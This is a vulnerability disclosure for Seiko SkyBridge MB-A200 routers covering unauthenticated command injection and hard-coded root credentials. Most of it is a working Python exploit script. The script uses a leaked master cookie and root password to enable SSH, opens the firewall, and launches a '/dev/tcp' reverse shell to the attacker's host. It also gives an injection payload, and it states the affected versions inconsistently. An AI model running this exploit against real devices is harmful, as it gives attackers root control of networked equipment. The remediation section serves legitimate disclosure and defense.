[CVE-2022-36559 / CVE-2022-36560] Seiko Skybridge MB-A200 series vulnerabilities

Product Description

The SkyBridge MB-A200 from Seiko are LTE Wireless Router for IoT/M2M and supports a variety of communications including LTE, 4G, 3G, Wi-Fi, LAN, wired WAN, and GPS High-speed data communication.

Affected Products

All Seiko Skybridge MB-A200 devices from version 01.00.04 and under.

Vulnerability Summary

[CVE-2022-36559] - Unauthenticated OS Command Injection.

SkyBridge MB-A200 is affected by an unauthenticated remote command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands as the root user through the PING HTTP POST parameter in ping_exec.cgi page. This issue affects all SkyBridge MB-A200 version 01.00.05 and under.

[CVE-2022-36560] - Use of Hard-coded Cleartext Password.

SkyBridge MB-A200 series contains multiple hard-coded clear text credentials for an hidden root user account in the /etc/srapi/config/system.conf and in the /usr/sbin/ssol-sshd.sh file. A malicious actor can de-compile the firmware image and have access to the web UI root password and CLI root password. This issue affects all SkyBridge MB-A200 version 01.00.05 and under.

Reproduction Steps

1. Unauthenticated OS Command Injection.

The endpoint /cgi-bin/ping_exec.cgi can be called remotely without user authentication as there is no cookie verification, Cookie: FAKE_VALUE, to check if the request is legitimate. The second problem is that the POST parameter PING can be injected to execute any Linux command. In the example below we create a crafted query that list files of the /www/cgi-bin directory.

Payload
PING=::;ls;

2. Use of Hard-coded Cleartext Password.

By default the Skybridge MB-A200 devices have a built-in clear text passwords for the root account that can be recovered after extracting the firmware image and then reverse engineering it. We found that the file /etc/srapi/config/system.conf has clear-text variables called WEBUI_ROOT_PASSWORD to access the web management interface as root and the file /usr/sbin/ssol-sshd.sh has a variable called CLI_ROOT_PASSWORD to access the CLI interface (SSH).

Exploit

# -*- coding: utf-8 -*-

# Exploit Title: Skybridge MB-A200 Injection
# Date: 7/27/2022
# Exploit Author: Samy Younsi (https://samy.link)
# Vendor Homepage: https://www.seiko-sol.co.jp
# Software Link: https://www.seiko-sol.co.jp/products/skybridge/lineup/mb-a200/
# Version: 01.00.04 and under.
# Tested on: Skybridge MB-A200 version 01.00.04 (Ubuntu)
# CVE : CVE-2022-36559

from __future__ import print_function, unicode_literals
from pssh.clients import ParallelSSHClient
from bs4 import BeautifulSoup
import argparse
import requests
import urllib3
urllib3.disable_warnings()

def banner():
  skybridgeLogo = """ 
                          ▓▓▓▓▓▓▓▓                                      
                    ▓▓▓▓▓▓        ▓▓▓▓▓▓                                
                ▒▒▓▓                    ▓▓▒▒                            
              ▒▒          ▒▒▓▓░░░░                                 
                    ▓▓▓▓▓▓        ▓▓▓▓▓▓                                
                  ░░                    ▓▓                              
                          ▓▓▓▓▓▓▓▓                                      
                      ▒▒▓▓        ▓▓▓▓                                  
                      ░░░░        ░░░░                                  
                                                                                              
                          ▓▓░░░░▓▓                                      
                            ▒▒▓▓                                        
                                              
▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓              
▓▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▓▓                              
▓▓░░░░░░░░░░░░▓▓░░░░░░░░▒▒░░░░░░░░▓▓░░░░░░░░░░░░░░░░░░░░▓▓                
▓▓░░░░░░░░░░▓▓░░▓▓░░░░▓▓░░▓▓░░░░▓▓░░▓▓░░░░░SKYBRIDGE░░░░▓▓                
▓▓░░░░░░░░░░░░▒▒░░░░░░░░▒▒░░░░░░░░▓▓░░░░░░░░░MB-A200░░░░▓▓                
▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░Ver:░01.00.04░░░░▓▓                
  ▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓                  
    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓                                       
                                                                                 
\033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m         \033[1;91mMB-A200 Reverse Shell\033[1;m                                                 
                FOR EDUCATIONAL PURPOSE ONLY.   
  """
  return print('\033[1;94m{}\033[1;m'.format(skybridgeLogo))

def pingWebInterface(protocol, RHOST, RPORT, masterCookie):
  url = '{}://{}:{}/cgi-bin/system_firmware_get.cgi'.format(protocol, RHOST, RPORT)
  try:
    response = requests.get(url, cookies=masterCookie, allow_redirects=False, verify=False, timeout=60)
    if response.status_code != 200:
      print('[!] \033[1;91mError: Skybridge MB-A200 device web interface is not reachable. Make sure the specified IP is correct.\033[1;m')
      exit()
    soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
    version = soup.find('td').getText().strip()
    print('[INFO] Skybridge MB-A200 version: {}. The target must be vulnerable.'.format(version))
  except:
    print('[ERROR] Can\'t grab the device version...')
    exit()


def openSshPort(protocol, RHOST, RPORT, masterCookie):
  print('[INFO] Opening SSH port...')
  data = 'SSH_ENABLE=TRUE&SSH_PORT=5022&ROOT_PASSWORD=Isk2005&ROOT_PASSWORD_CON=Isk2005&session=start'
  url = '{}://{}:{}/cgi-bin/system_cli_set.cgi'.format(protocol, RHOST, RPORT)
  try:
    response = requests.post(url, cookies=masterCookie, data=data, verify=False, timeout=60)
    if response.content.strip().decode('utf-8') != '0':
      print('[ERROR] This device has been patched.')
    print('[INFO] SSH port successfully opened. Credential: root/Isk2005')
  except:
    print('[ERROR] A problem occurred while opening the SSH port....')
    exit()


def openFirewall(protocol, RHOST, RPORT, masterCookie):
  print('[INFO] Opening the firewall for SSH...')
  data = 'ENABLE=TRUE&CLI_ENABLE=TRUE&session=start'
  url = '{}://{}:{}/cgi-bin/router_security_security_set.cgi'.format(protocol, RHOST, RPORT)
  try:
    response = requests.post(url, cookies=masterCookie, data=data, verify=False, timeout=60)
    if response.content.strip().decode('utf-8') != '0':
      print('[ERROR] This device has been patched.')
    print('[INFO] Firewall successfully opened for SSH.')
  except:
    print('[ERROR] A problem occurred while opening the firewall for SSH....')
    exit()  


def execReverseShell(RHOST, RPORT, LHOST, LPORT):
  connection = ParallelSSHClient(hosts=[RHOST], port=5022, user="root", password="Isk2005", num_retries=1, timeout=5)
  try:
    print('Executing reverse shell...')
    payload = 'sh -i >& /dev/tcp/{}/{} 0>&1'.format(LHOST, LPORT)
    host_out = connection.run_command(payload)
    print('[INFO] Reverse shell successfully executed. {}:{}'.format(LHOST, LPORT))
    return
  except Exception as e:
      print('[ERROR] Reverse shell failed. Make sure the Skybridge MB-A200 device can reach the host {}:{}').format(LHOST, LPORT)
      return False


def main():
  banner()
  args = parser.parse_args()
  protocol = 'https' if args.RPORT == 443 else 'http'
  #Come from the clear text password backdoor root account. 
  masterCookie = {
    'SkyBridge': 'acco6snn',
  } 
  pingWebInterface(protocol ,args.RHOST, args.RPORT, masterCookie)
  openSshPort(protocol ,args.RHOST, args.RPORT, masterCookie)
  openFirewall(protocol ,args.RHOST, args.RPORT, masterCookie)
  execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)


if __name__ == "__main__":
  parser = argparse.ArgumentParser(description='Script PoC that exploit an nauthenticated remote command injection on Skybridge MB-A200 devices.', add_help=False)
  parser.add_argument('--RHOST', help="Refers to the IP of the target machine. (Skybridge MB-A200 device)", type=str, required=True)
  parser.add_argument('--RPORT', help="Refers to the open port of the target machine. (80 by default)", type=int, required=True)
  parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True)
  parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True)
  main()

Video PoC

Recommendation Fixes / Remediation

  • Vulnerability 1: Strengthen validation rules by checking if input contains only alphanumeric characters, no other syntax or whitespace, a whitelist of permitted values is also recommended. Please see the following link for more details: https://cwe.mitre.org/data/definitions/78.html
    • Vulnerability 2: Need to generate a different password for each device. During the manufacturing process, set a randomly generated password, unique for each device (e.g. print the password on a sticker for local access). Risk: Since passwords are shared among devices, an attacker able to crack the passwords once (e.g. with physical access to the device) can access all reachable devices. Please see the following link for more details: https://cwe.mitre.org/data/definitions/1188.html

      Vulnerable Devices Found

      As of 3Aug2022, there were 968 SkyBridge MB-A200 series devices exposed to the internet and were affected by the vulnerabilities discovered.

      Reference

      https://www.seiko-sol.co.jp/products/skybridge/lineup/mb-a200/

      Updated Report

      FW 01.00.06: https://app.box.com/s/noouesm1mouhpbokr1v5hjjjnm9xwdgv

      Security researchers